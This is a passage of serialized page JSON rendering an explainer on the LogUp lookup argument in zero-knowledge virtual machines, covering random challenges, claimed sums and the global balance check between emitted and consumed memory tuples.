lassName":113557,"style":113558},[4135],"height:0.1786em;",[113560],{"type":23,"tag":213,"props":113561,"children":113562},{"style":21704},[113563,113567],{"type":23,"tag":213,"props":113564,"children":113566},{"className":113565,"style":4145},[4144],[],{"type":23,"tag":213,"props":113568,"children":113570},{"className":113569},[4150,4151,4152,4153],[113571],{"type":23,"tag":213,"props":113572,"children":113574},{"className":113573},[4103,4153],[113575,113580,113585],{"type":23,"tag":213,"props":113576,"children":113578},{"className":113577},[4103,21637,4153],[113579],{"type":28,"value":36},{"type":23,"tag":213,"props":113581,"children":113583},{"className":113582},[4287,4153],[113584],{"type":28,"value":21744},{"type":23,"tag":213,"props":113586,"children":113588},{"className":113587},[4103,21637,4153],[113589],{"type":28,"value":76820},{"type":23,"tag":213,"props":113591,"children":113593},{"className":113592},[21794],[113594],{"type":28,"value":21797},{"type":23,"tag":213,"props":113596,"children":113598},{"className":113597},[4130],[113599],{"type":23,"tag":213,"props":113600,"children":113603},{"className":113601,"style":113602},[4135],"height:0.3271em;",[113604],{"type":23,"tag":213,"props":113605,"children":113606},{},[],{"type":23,"tag":213,"props":113608,"children":113610},{"className":113609,"style":4223},[4184],[],{"type":23,"tag":213,"props":113612,"children":113614},{"className":113613},[4103],[113615,113620,113723],{"type":23,"tag":213,"props":113616,"children":113619},{"className":113617},[21766,113618],"nulldelimiter",[],{"type":23,"tag":213,"props":113621,"children":113624},{"className":113622},[113623],"mfrac",[113625],{"type":23,"tag":213,"props":113626,"children":113628},{"className":113627},[4125,21691],[113629,113711],{"type":23,"tag":213,"props":113630,"children":113632},{"className":113631},[4130],[113633,113706],{"type":23,"tag":213,"props":113634,"children":113637},{"className":113635,"style":113636},[4135],"height:0.8451em;",[113638,113671,113685],{"type":23,"tag":213,"props":113639,"children":113641},{"style":113640},"top:-2.655em;",[113642,113646],{"type":23,"tag":213,"props":113643,"children":113645},{"className":113644,"style":112271},[4144],[],{"type":23,"tag":213,"props":113647,"children":113649},{"className":113648},[4150,4151,4152,4153],[113650],{"type":23,"tag":213,"props":113651,"children":113653},{"className":113652},[4103,4153],[113654,113661,113666],{"type":23,"tag":213,"props":113655,"children":113658},{"className":113656,"style":113657},[4103,21637,4153],"margin-right:0.04398em;",[113659],{"type":28,"value":113660},"z",{"type":23,"tag":213,"props":113662,"children":113664},{"className":113663},[4190,4153],[113665],{"type":28,"value":4164},{"type":23,"tag":213,"props":113667,"children":113669},{"className":113668},[4103,21637,4153],[113670],{"type":28,"value":36},{"type":23,"tag":213,"props":113672,"children":113674},{"style":113673},"top:-3.23em;",[113675,113679],{"type":23,"tag":213,"props":113676,"children":113678},{"className":113677,"style":112271},[4144],[],{"type":23,"tag":213,"props":113680,"children":113684},{"className":113681,"style":113683},[113682],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":213,"props":113686,"children":113688},{"style":113687},"top:-3.394em;",[113689,113693],{"type":23,"tag":213,"props":113690,"children":113692},{"className":113691,"style":112271},[4144],[],{"type":23,"tag":213,"props":113694,"children":113696},{"className":113695},[4150,4151,4152,4153],[113697],{"type":23,"tag":213,"props":113698,"children":113700},{"className":113699},[4103,4153],[113701],{"type":23,"tag":213,"props":113702,"children":113704},{"className":113703},[4103,4153],[113705],{"type":28,"value":4106},{"type":23,"tag":213,"props":113707,"children":113709},{"className":113708},[21794],[113710],{"type":28,"value":21797},{"type":23,"tag":213,"props":113712,"children":113714},{"className":113713},[4130],[113715],{"type":23,"tag":213,"props":113716,"children":113719},{"className":113717,"style":113718},[4135],"height:0.4033em;",[113720],{"type":23,"tag":213,"props":113721,"children":113722},{},[],{"type":23,"tag":213,"props":113724,"children":113726},{"className":113725},[21788,113618],[],{"type":23,"tag":213,"props":113728,"children":113730},{"className":113729,"style":4282},[4184],[],{"type":23,"tag":213,"props":113732,"children":113734},{"className":113733},[4287],[113735],{"type":28,"value":3190},{"type":23,"tag":213,"props":113737,"children":113739},{"className":113738,"style":4282},[4184],[],{"type":23,"tag":213,"props":113741,"children":113743},{"className":113742},[4092],[113744,113748,113820,113824],{"type":23,"tag":213,"props":113745,"children":113747},{"className":113746,"style":113532},[4097],[],{"type":23,"tag":213,"props":113749,"children":113751},{"className":113750},[21673],[113752,113757],{"type":23,"tag":213,"props":113753,"children":113755},{"className":113754,"style":21680},[21673,21678,21679],[113756],{"type":28,"value":108895},{"type":23,"tag":213,"props":113758,"children":113760},{"className":113759},[4120],[113761],{"type":23,"tag":213,"props":113762,"children":113764},{"className":113763},[4125,21691],[113765,113809],{"type":23,"tag":213,"props":113766,"children":113768},{"className":113767},[4130],[113769,113804],{"type":23,"tag":213,"props":113770,"children":113773},{"className":113771,"style":113772},[4135],"height:0.1864em;",[113774],{"type":23,"tag":213,"props":113775,"children":113776},{"style":21704},[113777,113781],{"type":23,"tag":213,"props":113778,"children":113780},{"className":113779,"style":4145},[4144],[],{"type":23,"tag":213,"props":113782,"children":113784},{"className":113783},[4150,4151,4152,4153],[113785],{"type":23,"tag":213,"props":113786,"children":113788},{"className":113787},[4103,4153],[113789,113794,113799],{"type":23,"tag":213,"props":113790,"children":113792},{"className":113791},[4103,21637,4153],[113793],{"type":28,"value":3319},{"type":23,"tag":213,"props":113795,"children":113797},{"className":113796},[4287,4153],[113798],{"type":28,"value":21744},{"type":23,"tag":213,"props":113800,"children":113802},{"className":113801,"style":113504},[4103,21637,4153],[113803],{"type":28,"value":113507},{"type":23,"tag":213,"props":113805,"children":113807},{"className":113806},[21794],[113808],{"type":28,"value":21797},{"type":23,"tag":213,"props":113810,"children":113812},{"className":113811},[4130],[113813],{"type":23,"tag":213,"props":113814,"children":113816},{"className":113815,"style":113602},[4135],[113817],{"type":23,"tag":213,"props":113818,"children":113819},{},[],{"type":23,"tag":213,"props":113821,"children":113823},{"className":113822,"style":4223},[4184],[],{"type":23,"tag":213,"props":113825,"children":113827},{"className":113826},[4103],[113828,113832,113925],{"type":23,"tag":213,"props":113829,"children":113831},{"className":113830},[21766,113618],[],{"type":23,"tag":213,"props":113833,"children":113835},{"className":113834},[113623],[113836],{"type":23,"tag":213,"props":113837,"children":113839},{"className":113838},[4125,21691],[113840,113914],{"type":23,"tag":213,"props":113841,"children":113843},{"className":113842},[4130],[113844,113909],{"type":23,"tag":213,"props":113845,"children":113847},{"className":113846,"style":113636},[4135],[113848,113878,113889],{"type":23,"tag":213,"props":113849,"children":113850},{"style":113640},[113851,113855],{"type":23,"tag":213,"props":113852,"children":113854},{"className":113853,"style":112271},[4144],[],{"type":23,"tag":213,"props":113856,"children":113858},{"className":113857},[4150,4151,4152,4153],[113859],{"type":23,"tag":213,"props":113860,"children":113862},{"className":113861},[4103,4153],[113863,113868,113873],{"type":23,"tag":213,"props":113864,"children":113866},{"className":113865,"style":113657},[4103,21637,4153],[113867],{"type":28,"value":113660},{"type":23,"tag":213,"props":113869,"children":113871},{"className":113870},[4190,4153],[113872],{"type":28,"value":4164},{"type":23,"tag":213,"props":113874,"children":113876},{"className":113875},[4103,21637,4153],[113877],{"type":28,"value":3319},{"type":23,"tag":213,"props":113879,"children":113880},{"style":113673},[113881,113885],{"type":23,"tag":213,"props":113882,"children":113884},{"className":113883,"style":112271},[4144],[],{"type":23,"tag":213,"props":113886,"children":113888},{"className":113887,"style":113683},[113682],[],{"type":23,"tag":213,"props":113890,"children":113891},{"style":113687},[113892,113896],{"type":23,"tag":213,"props":113893,"children":113895},{"className":113894,"style":112271},[4144],[],{"type":23,"tag":213,"props":113897,"children":113899},{"className":113898},[4150,4151,4152,4153],[113900],{"type":23,"tag":213,"props":113901,"children":113903},{"className":113902},[4103,4153],[113904],{"type":23,"tag":213,"props":113905,"children":113907},{"className":113906},[4103,4153],[113908],{"type":28,"value":4106},{"type":23,"tag":213,"props":113910,"children":113912},{"className":113911},[21794],[113913],{"type":28,"value":21797},{"type":23,"tag":213,"props":113915,"children":113917},{"className":113916},[4130],[113918],{"type":23,"tag":213,"props":113919,"children":113921},{"className":113920,"style":113718},[4135],[113922],{"type":23,"tag":213,"props":113923,"children":113924},{},[],{"type":23,"tag":213,"props":113926,"children":113928},{"className":113927},[21788,113618],[],{"type":23,"tag":24,"props":113930,"children":113931},{},[113932,113934,113959],{"type":28,"value":113933},"for random challenge ",{"type":23,"tag":209,"props":113935,"children":113937},{"className":113936},[4076,4077],[113938],{"type":23,"tag":213,"props":113939,"children":113941},{"className":113940},[4082],[113942],{"type":23,"tag":213,"props":113943,"children":113945},{"className":113944,"ariaHidden":1710},[4087],[113946],{"type":23,"tag":213,"props":113947,"children":113949},{"className":113948},[4092],[113950,113954],{"type":23,"tag":213,"props":113951,"children":113953},{"className":113952,"style":110941},[4097],[],{"type":23,"tag":213,"props":113955,"children":113957},{"className":113956,"style":113657},[4103,21637],[113958],{"type":28,"value":113660},{"type":28,"value":113960},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":24,"props":113962,"children":113963},{},[113964,113969],{"type":23,"tag":95,"props":113965,"children":113966},{},[113967],{"type":28,"value":113968},"In zkVMs:",{"type":28,"value":113970}," Different components emit and consume lookup tuples:",{"type":23,"tag":168,"props":113972,"children":113973},{},[113974,114061],{"type":23,"tag":135,"props":113975,"children":113976},{},[113977,113979,114005,114007,114032,114034,114060],{"type":28,"value":113978},"CPU emits: \"I read value ",{"type":23,"tag":209,"props":113980,"children":113982},{"className":113981},[4076,4077],[113983],{"type":23,"tag":213,"props":113984,"children":113986},{"className":113985},[4082],[113987],{"type":23,"tag":213,"props":113988,"children":113990},{"className":113989,"ariaHidden":1710},[4087],[113991],{"type":23,"tag":213,"props":113992,"children":113994},{"className":113993},[4092],[113995,113999],{"type":23,"tag":213,"props":113996,"children":113998},{"className":113997,"style":110941},[4097],[],{"type":23,"tag":213,"props":114000,"children":114002},{"className":114001,"style":93586},[4103,21637],[114003],{"type":28,"value":114004},"v",{"type":28,"value":114006}," from address ",{"type":23,"tag":209,"props":114008,"children":114010},{"className":114009},[4076,4077],[114011],{"type":23,"tag":213,"props":114012,"children":114014},{"className":114013},[4082],[114015],{"type":23,"tag":213,"props":114016,"children":114018},{"className":114017,"ariaHidden":1710},[4087],[114019],{"type":23,"tag":213,"props":114020,"children":114022},{"className":114021},[4092],[114023,114027],{"type":23,"tag":213,"props":114024,"children":114026},{"className":114025,"style":110941},[4097],[],{"type":23,"tag":213,"props":114028,"children":114030},{"className":114029},[4103,21637],[114031],{"type":28,"value":36},{"type":28,"value":114033}," at time ",{"type":23,"tag":209,"props":114035,"children":114037},{"className":114036},[4076,4077],[114038],{"type":23,"tag":213,"props":114039,"children":114041},{"className":114040},[4082],[114042],{"type":23,"tag":213,"props":114043,"children":114045},{"className":114044,"ariaHidden":1710},[4087],[114046],{"type":23,"tag":213,"props":114047,"children":114049},{"className":114048},[4092],[114050,114055],{"type":23,"tag":213,"props":114051,"children":114054},{"className":114052,"style":114053},[4097],"height:0.6151em;",[],{"type":23,"tag":213,"props":114056,"children":114058},{"className":114057},[4103,21637],[114059],{"type":28,"value":21779},{"type":28,"value":20114},{"type":23,"tag":135,"props":114062,"children":114063},{},[114064,114066,114091,114093,114118,114120,114145],{"type":28,"value":114065},"Memory table consumes: \"At time ",{"type":23,"tag":209,"props":114067,"children":114069},{"className":114068},[4076,4077],[114070],{"type":23,"tag":213,"props":114071,"children":114073},{"className":114072},[4082],[114074],{"type":23,"tag":213,"props":114075,"children":114077},{"className":114076,"ariaHidden":1710},[4087],[114078],{"type":23,"tag":213,"props":114079,"children":114081},{"className":114080},[4092],[114082,114086],{"type":23,"tag":213,"props":114083,"children":114085},{"className":114084,"style":114053},[4097],[],{"type":23,"tag":213,"props":114087,"children":114089},{"className":114088},[4103,21637],[114090],{"type":28,"value":21779},{"type":28,"value":114092},", address ",{"type":23,"tag":209,"props":114094,"children":114096},{"className":114095},[4076,4077],[114097],{"type":23,"tag":213,"props":114098,"children":114100},{"className":114099},[4082],[114101],{"type":23,"tag":213,"props":114102,"children":114104},{"className":114103,"ariaHidden":1710},[4087],[114105],{"type":23,"tag":213,"props":114106,"children":114108},{"className":114107},[4092],[114109,114113],{"type":23,"tag":213,"props":114110,"children":114112},{"className":114111,"style":110941},[4097],[],{"type":23,"tag":213,"props":114114,"children":114116},{"className":114115},[4103,21637],[114117],{"type":28,"value":36},{"type":28,"value":114119}," contained ",{"type":23,"tag":209,"props":114121,"children":114123},{"className":114122},[4076,4077],[114124],{"type":23,"tag":213,"props":114125,"children":114127},{"className":114126},[4082],[114128],{"type":23,"tag":213,"props":114129,"children":114131},{"className":114130,"ariaHidden":1710},[4087],[114132],{"type":23,"tag":213,"props":114133,"children":114135},{"className":114134},[4092],[114136,114140],{"type":23,"tag":213,"props":114137,"children":114139},{"className":114138,"style":110941},[4097],[],{"type":23,"tag":213,"props":114141,"children":114143},{"className":114142,"style":93586},[4103,21637],[114144],{"type":28,"value":114004},{"type":28,"value":20114},{"type":23,"tag":24,"props":114147,"children":114148},{},[114149],{"type":28,"value":114150},"If everything balances, the execution is consistent.",{"type":23,"tag":24,"props":114152,"children":114153},{},[114154,114159],{"type":23,"tag":95,"props":114155,"children":114156},{},[114157],{"type":28,"value":114158},"The claimed_sum:",{"type":28,"value":114160}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":24,"props":114162,"children":114163},{},[114164],{"type":23,"tag":209,"props":114165,"children":114167},{"className":114166},[4076,4077],[114168],{"type":23,"tag":213,"props":114169,"children":114171},{"className":114170},[4082],[114172],{"type":23,"tag":213,"props":114173,"children":114175},{"className":114174,"ariaHidden":1710},[4087],[114176,114274,114525],{"type":23,"tag":213,"props":114177,"children":114179},{"className":114178},[4092],[114180,114184,114194,114199,114261,114265,114270],{"type":23,"tag":213,"props":114181,"children":114183},{"className":114182,"style":94513},[4097],[],{"type":23,"tag":213,"props":114185,"children":114187},{"className":114186},[4103,28],[114188],{"type":23,"tag":213,"props":114189,"children":114191},{"className":114190},[4103],[114192],{"type":28,"value":114193},"claimed",{"type":23,"tag":213,"props":114195,"children":114197},{"className":114196,"style":93100},[4103],[114198],{"type":28,"value":3181},{"type":23,"tag":213,"props":114200,"children":114202},{"className":114201},[4103],[114203,114212],{"type":23,"tag":213,"props":114204,"children":114206},{"className":114205},[4103,28],[114207],{"type":23,"tag":213,"props":114208,"children":114210},{"className":114209},[4103],[114211],{"type":28,"value":76685},{"type":23,"tag":213,"props":114213,"children":114215},{"className":114214},[4120],[114216],{"type":23,"tag":213,"props":114217,"children":114219},{"className":114218},[4125,21691],[114220,114250],{"type":23,"tag":213,"props":114221,"children":114223},{"className":114222},[4130],[114224,114245],{"type":23,"tag":213,"props":114225,"children":114227},{"className":114226,"style":93629},[4135],[114228],{"type":23,"tag":213,"props":114229,"children":114231},{"style":114230},"top:-2.55em;margin-right:0.05em;",[114232,114236],{"type":23,"tag":213,"props":114233,"children":114235},{"className":114234,"style":4145},[4144],[],{"type":23,"tag":213,"props":114237,"children":114239},{"className":114238},[4150,4151,4152,4153],[114240],{"type":23,"tag":213,"props":114241,"children":114243},{"className":114242},[4103,21637,4153],[114244],{"type":28,"value":3826},{"type":23,"tag":213,"props":114246,"children":114248},{"className":114247},[21794],[114249],{"type":28,"value":21797},{"type":23,"tag":213,"props":114251,"children":114253},{"className":114252},[4130],[114254],{"type":23,"tag":213,"props":114255,"children":114257},{"className":114256,"style":93183},[4135],[114258],{"type":23,"tag":213,"props":114259,"children":114260},{},[],{"type":23,"tag":213,"props":114262,"children":114264},{"className":114263,"style":4282},[4184],[],{"type":23,"tag":213,"props":114266,"children":114268},{"className":114267},[4287],[114269],{"type":28,"value":3190},{"type":23,"tag":213,"props":114271,"children":114273},{"className":114272,"style":4282},[4184],[],{"type":23,"tag":213,"props":114275,"children":114277},{"className":114276},[4092],[114278,114283,114343,114347,114512,114516,114521],{"type":23,"tag":213,"props":114279,"children":114282},{"className":114280,"style":114281},[4097],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":213,"props":114284,"children":114286},{"className":114285},[21673],[114287,114292],{"type":23,"tag":213,"props":114288,"children":114290},{"className":114289,"style":21680},[21673,21678,21679],[114291],{"type":28,"value":108895},{"type":23,"tag":213,"props":114293,"children":114295},{"className":114294},[4120],[114296],{"type":23,"tag":213,"props":114297,"children":114299},{"className":114298},[4125,21691],[114300,114331],{"type":23,"tag":213,"props":114301,"children":114303},{"className":114302},[4130],[114304,114326],{"type":23,"tag":213,"props":114305,"children":114308},{"className":114306,"style":114307},[4135],"height:0.162em;",[114309],{"type":23,"tag":213,"props":114310,"children":114311},{"style":21704},[114312,114316],{"type":23,"tag":213,"props":114313,"children":114315},{"className":114314,"style":4145},[4144],[],{"type":23,"tag":213,"props":114317,"children":114319},{"className":114318},[4150,4151,4152,4153],[114320],{"type":23,"tag":213,"props":114321,"children":114324},{"className":114322,"style":114323},[4103,21637,4153],"margin-right:0.05724em;",[114325],{"type":28,"value":8741},{"type":23,"tag":213,"props":114327,"children":114329},{"className":114328},[21794],[114330],{"type":28,"value":21797},{"type":23,"tag":213,"props":114332,"children":114334},{"className":114333},[4130],[114335],{"type":23,"tag":213,"props":114336,"children":114339},{"className":114337,"style":114338},[4135],"height:0.4358em;",[114340],{"type":23,"tag":213,"props":114341,"children":114342},{},[],{"type":23,"tag":213,"props":114344,"children":114346},{"className":114345,"style":4223},[4184],[],{"type":23,"tag":213,"props":114348,"children":114350},{"className":114349},[4103],[114351,114355,114508],{"type":23,"tag":213,"props":114352,"children":114354},{"className":114353},[21766,113618],[],{"type":23,"tag":213,"props":114356,"children":114358},{"className":114357},[113623],[114359],{"type":23,"tag":213,"props":114360,"children":114362},{"className":114361},[4125,21691],[114363,114496],{"type":23,"tag":213,"props":114364,"children":114366},{"className":114365},[4130],[114367,114491],{"type":23,"tag":213,"props":114368,"children":114370},{"className":114369,"style":113636},[4135],[114371,114460,114471],{"type":23,"tag":213,"props":114372,"children":114373},{"style":113640},[114374,114378],{"type":23,"tag":213,"props":114375,"children":114377},{"className":114376,"style":112271},[4144],[],{"type":23,"tag":213,"props":114379,"children":114381},{"className":114380},[4150,4151,4152,4153],[114382],{"type":23,"tag":213,"props":114383,"children":114385},{"className":114384},[4103,4153],[114386,114391,114396],{"type":23,"tag":213,"props":114387,"children":114389},{"className":114388,"style":113657},[4103,21637,4153],[114390],{"type":28,"value":113660},{"type":23,"tag":213,"props":114392,"children":114394},{"className":114393},[4190,4153],[114395],{"type":28,"value":4164},{"type":23,"tag":213,"props":114397,"children":114399},{"className":114398},[4103,4153],[114400,114409],{"type":23,"tag":213,"props":114401,"children":114403},{"className":114402},[4103,28,4153],[114404],{"type":23,"tag":213,"props":114405,"children":114407},{"className":114406},[4103,4153],[114408],{"type":28,"value":62062},{"type":23,"tag":213,"props":114410,"children":114412},{"className":114411},[4120],[114413],{"type":23,"tag":213,"props":114414,"children":114416},{"className":114415},[4125,21691],[114417,114448],{"type":23,"tag":213,"props":114418,"children":114420},{"className":114419},[4130],[114421,114443],{"type":23,"tag":213,"props":114422,"children":114425},{"className":114423,"style":114424},[4135],"height:0.3281em;",[114426],{"type":23,"tag":213,"props":114427,"children":114429},{"style":114428},"top:-2.357em;margin-right:0.0714em;",[114430,114434],{"type":23,"tag":213,"props":114431,"children":114433},{"className":114432,"style":108960},[4144],[],{"type":23,"tag":213,"props":114435,"children":114437},{"className":114436},[4150,108965,108966,4153],[114438],{"type":23,"tag":213,"props":114439,"children":114441},{"className":114440,"style":114323},[4103,21637,4153],[114442],{"type":28,"value":8741},{"type":23,"tag":213,"props":114444,"children":114446},{"className":114445},[21794],[114447],{"type":28,"value":21797},{"type":23,"tag":213,"props":114449,"children":114451},{"className":114450},[4130],[114452],{"type":23,"tag":213,"props":114453,"children":114456},{"className":114454,"style":114455},[4135],"height:0.2819em;",[114457],{"type":23,"tag":213,"props":114458,"children":114459},{},[],{"type":23,"tag":213,"props":114461,"children":114462},{"style":113673},[114463,114467],{"type":23,"tag":213,"props":114464,"children":114466},{"className":114465,"style":112271},[4144],[],{"type":23,"tag":213,"props":114468,"children":114470},{"className":114469,"style":113683},[113682],[],{"type":23,"tag":213,"props":114472,"children":114473},{"style":113687},[114474,114478],{"type":23,"tag":213,"props":114475,"children":114477},{"className":114476,"style":112271},[4144],[],{"type":23,"tag":213,"props":114479,"children":114481},{"className":114480},[4150,4151,4152,4153],[114482],{"type":23,"tag":213,"props":114483,"children":114485},{"className":114484},[4103,4153],[114486],{"type":23,"tag":213,"props":114487,"children":114489},{"className":114488},[4103,4153],[114490],{"type":28,"value":4106},{"type":23,"tag":213,"props":114492,"children":114494},{"className":114493},[21794],[114495],{"type":28,"value":21797},{"type":23,"tag":213,"props":114497,"children":114499},{"className":114498},[4130],[114500],{"type":23,"tag":213,"props":114501,"children":114504},{"className":114502,"style":114503},[4135],"height:0.5423em;",[114505],{"type":23,"tag":213,"props":114506,"children":114507},{},[],{"type":23,"tag":213,"props":114509,"children":114511},{"className":114510},[21788,113618],[],{"type":23,"tag":213,"props":114513,"children":114515},{"className":114514,"style":4185},[4184],[],{"type":23,"tag":213,"props":114517,"children":114519},{"className":114518},[4190],[114520],{"type":28,"value":4164},{"type":23,"tag":213,"props":114522,"children":114524},{"className":114523,"style":4185},[4184],[],{"type":23,"tag":213,"props":114526,"children":114528},{"className":114527},[4092],[114529,114534,114592,114596],{"type":23,"tag":213,"props":114530,"children":114533},{"className":114531,"style":114532},[4097],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":213,"props":114535,"children":114537},{"className":114536},[21673],[114538,114543],{"type":23,"tag":213,"props":114539,"children":114541},{"className":114540,"style":21680},[21673,21678,21679],[114542],{"type":28,"value":108895},{"type":23,"tag":213,"props":114544,"children":114546},{"className":114545},[4120],[114547],{"type":23,"tag":213,"props":114548,"children":114550},{"className":114549},[4125,21691],[114551,114580],{"type":23,"tag":213,"props":114552,"children":114554},{"className":114553},[4130],[114555,114575],{"type":23,"tag":213,"props":114556,"children":114558},{"className":114557,"style":113772},[4135],[114559],{"type":23,"tag":213,"props":114560,"children":114561},{"style":21704},[114562,114566],{"type":23,"tag":213,"props":114563,"children":114565},{"className":114564,"style":4145},[4144],[],{"type":23,"tag":213,"props":114567,"children":114569},{"className":114568},[4150,4151,4152,4153],[114570],{"type":23,"tag":213,"props":114571,"children":114573},{"className":114572,"style":94529},[4103,21637,4153],[114574],{"type":28,"value":88737},{"type":23,"tag":213,"props":114576,"children":114578},{"className":114577},[21794],[114579],{"type":28,"value":21797},{"type":23,"tag":213,"props":114581,"children":114583},{"className":114582},[4130],[114584],{"type":23,"tag":213,"props":114585,"children":114588},{"className":114586,"style":114587},[4135],"height:0.2997em;",[114589],{"type":23,"tag":213,"props":114590,"children":114591},{},[],{"type":23,"tag":213,"props":114593,"children":114595},{"className":114594,"style":4223},[4184],[],{"type":23,"tag":213,"props":114597,"children":114599},{"className":114598},[4103],[114600,114604,114757],{"type":23,"tag":213,"props":114601,"children":114603},{"className":114602},[21766,113618],[],{"type":23,"tag":213,"props":114605,"children":114607},{"className":114606},[113623],[114608],{"type":23,"tag":213,"props":114609,"children":114611},{"className":114610},[4125,21691],[114612,114745],{"type":23,"tag":213,"props":114613,"children":114615},{"className":114614},[4130],[114616,114740],{"type":23,"tag":213,"props":114617,"children":114619},{"className":114618,"style":113636},[4135],[114620,114709,114720],{"type":23,"tag":213,"props":114621,"children":114622},{"style":113640},[114623,114627],{"type":23,"tag":213,"props":114624,"children":114626},{"className":114625,"style":112271},[4144],[],{"type":23,"tag":213,"props":114628,"children":114630},{"className":114629},[4150,4151,4152,4153],[114631],{"type":23,"tag":213,"props":114632,"children":114634},{"className":114633},[4103,4153],[114635,114640,114645],{"type":23,"tag":213,"props":114636,"children":114638},{"className":114637,"style":113657},[4103,21637,4153],[114639],{"type":28,"value":113660},{"type":23,"tag":213,"props":114641,"children":114643},{"className":114642},[4190,4153],[114644],{"type":28,"value":4164},{"type":23,"tag":213,"props":114646,"children":114648},{"className":114647},[4103,4153],[114649,114659],{"type":23,"tag":213,"props":114650,"children":114652},{"className":114651},[4103,28,4153],[114653],{"type":23,"tag":213,"props":114654,"children":114656},{"className":114655},[4103,4153],[114657],{"type":28,"value":114658},"consume",{"type":23,"tag":213,"props":114660,"children":114662},{"className":114661},[4120],[114663],{"type":23,"tag":213,"props":114664,"children":114666},{"className":114665},[4125,21691],[114667,114697],{"type":23,"tag":213,"props":114668,"children":114670},{"className":114669},[4130],[114671,114692],{"type":23,"tag":213,"props":114672,"children":114674},{"className":114673,"style":112432},[4135],[114675],{"type":23,"tag":213,"props":114676,"children":114678},{"style":114677},"top:-2.3488em;margin-right:0.0714em;",[114679,114683],{"type":23,"tag":213,"props":114680,"children":114682},{"className":114681,"style":108960},[4144],[],{"type":23,"tag":213,"props":114684,"children":114686},{"className":114685},[4150,108965,108966,4153],[114687],{"type":23,"tag":213,"props":114688,"children":114690},{"className":114689,"style":94529},[4103,21637,4153],[114691],{"type":28,"value":88737},{"type":23,"tag":213,"props":114693,"children":114695},{"className":114694},[21794],[114696],{"type":28,"value":21797},{"type":23,"tag":213,"props":114698,"children":114700},{"className":114699},[4130],[114701],{"type":23,"tag":213,"props":114702,"children":114705},{"className":114703,"style":114704},[4135],"height:0.1512em;",[114706],{"type":23,"tag":213,"props":114707,"children":114708},{},[],{"type":23,"tag":213,"props":114710,"children":114711},{"style":113673},[114712,114716],{"type":23,"tag":213,"props":114713,"children":114715},{"className":114714,"style":112271},[4144],[],{"type":23,"tag":213,"props":114717,"children":114719},{"className":114718,"style":113683},[113682],[],{"type":23,"tag":213,"props":114721,"children":114722},{"style":113687},[114723,114727],{"type":23,"tag":213,"props":114724,"children":114726},{"className":114725,"style":112271},[4144],[],{"type":23,"tag":213,"props":114728,"children":114730},{"className":114729},[4150,4151,4152,4153],[114731],{"type":23,"tag":213,"props":114732,"children":114734},{"className":114733},[4103,4153],[114735],{"type":23,"tag":213,"props":114736,"children":114738},{"className":114737},[4103,4153],[114739],{"type":28,"value":4106},{"type":23,"tag":213,"props":114741,"children":114743},{"className":114742},[21794],[114744],{"type":28,"value":21797},{"type":23,"tag":213,"props":114746,"children":114748},{"className":114747},[4130],[114749],{"type":23,"tag":213,"props":114750,"children":114753},{"className":114751,"style":114752},[4135],"height:0.4509em;",[114754],{"type":23,"tag":213,"props":114755,"children":114756},{},[],{"type":23,"tag":213,"props":114758,"children":114760},{"className":114759},[21788,113618],[],{"type":23,"tag":24,"props":114762,"children":114763},{},[114764,114766,114948],{"type":28,"value":114765},"The global check: ",{"type":23,"tag":209,"props":114767,"children":114769},{"className":114768},[4076,4077],[114770],{"type":23,"tag":213,"props":114771,"children":114773},{"className":114772},[4082],[114774],{"type":23,"tag":213,"props":114775,"children":114777},{"className":114776,"ariaHidden":1710},[4087],[114778,114935],{"type":23,"tag":213,"props":114779,"children":114781},{"className":114780},[4092],[114782,114786,114843,114847,114856,114861,114922,114926,114931],{"type":23,"tag":213,"props":114783,"children":114785},{"className":114784,"style":93042},[4097],[],{"type":23,"tag":213,"props":114787,"children":114789},{"className":114788},[21673],[114790,114795],{"type":23,"tag":213,"props":114791,"children":114793},{"className":114792,"style":21680},[21673,21678,21679],[114794],{"type":28,"value":108895},{"type":23,"tag":213,"props":114796,"children":114798},{"className":114797},[4120],[114799],{"type":23,"tag":213,"props":114800,"children":114802},{"className":114801},[4125,21691],[114803,114832],{"type":23,"tag":213,"props":114804,"children":114806},{"className":114805},[4130],[114807,114827],{"type":23,"tag":213,"props":114808,"children":114810},{"className":114809,"style":114307},[4135],[114811],{"type":23,"tag":213,"props":114812,"children":114813},{"style":21704},[114814,114818],{"type":23,"tag":213,"props":114815,"children":114817},{"className":114816,"style":4145},[4144],[],{"type":23,"tag":213,"props":114819,"children":114821},{"className":114820},[4150,4151,4152,4153],[114822],{"type":23,"tag":213,"props":114823,"children":114825},{"className":114824},[4103,21637,4153],[114826],{"type":28,"value":3826},{"type":23,"tag":213,"props":114828,"children":114830},{"className":114829},[21794],[114831],{"type":28,"value":21797},{"type":23,"tag":213,"props":114833,"children":114835},{"className":114834},[4130],[114836],{"type":23,"tag":213,"props":114837,"children":114839},{"className":114838,"style":114587},[4135],[114840],{"type":23,"tag":213,"props":114841,"children":114842},{},[],{"type":23,"tag":213,"props":114844,"children":114846},{"className":114845,"style":4223},[4184],[],{"type":23,"tag":213,"props":114848,"children":114850},{"className":114849},[4103,28],[114851],{"type":23,"tag":213,"props":114852,"children":114854},{"className":114853},[4103],[114855],{"type":28,"value":114193},{"type":23,"tag":213,"props":114857,"children":114859},{"className":114858,"style":93100},[4103],[114860],{"type":28,"value":3181},{"type":23,"tag":213,"props":114862,"children":114864},{"className":114863},[4103],[114865,114874],{"type":23,"tag":213,"props":114866,"children":114868},{"className":114867},[4103,28],[114869],{"type":23,"tag":213,"props":114870,"children":114872},{"className":114871},[4103],[114873],{"type":28,"value":76685},{"type":23,"tag":213,"props":114875,"children":114877},{"className":114876},[4120],[114878],{"type":23,"tag":213,"props":114879,"children":114881},{"className":114880},[4125,21691],[114882,114911],{"type":23,"tag":213,"props":114883,"children":114885},{"className":114884},[4130],[114886,114906],{"type":23,"tag":213,"props":114887,"children":114889},{"className":114888,"style":93629},[4135],[114890],{"type":23,"tag":213,"props":114891,"children":114892},{"style":114230},[114893,114897],{"type":23,"tag":213,"props":114894,"children":114896},{"className":114895,"style":4145},[4144],[],{"type":23,"tag":213,"props":114898,"children":114900},{"className":114899},[4150,4151,4152,4153],[114901],{"type":23,"tag":213,"props":114902,"children":114904},{"className":114903},[4103,21637,4153],[114905],{"type":28,"value":3826},{"type":23,"tag":213,"props":114907,"children":114909},{"className":114908},[21794],[114910],{"type":28,"value":21797},{"type":23,"tag":213,"props":114912,"children":114914},{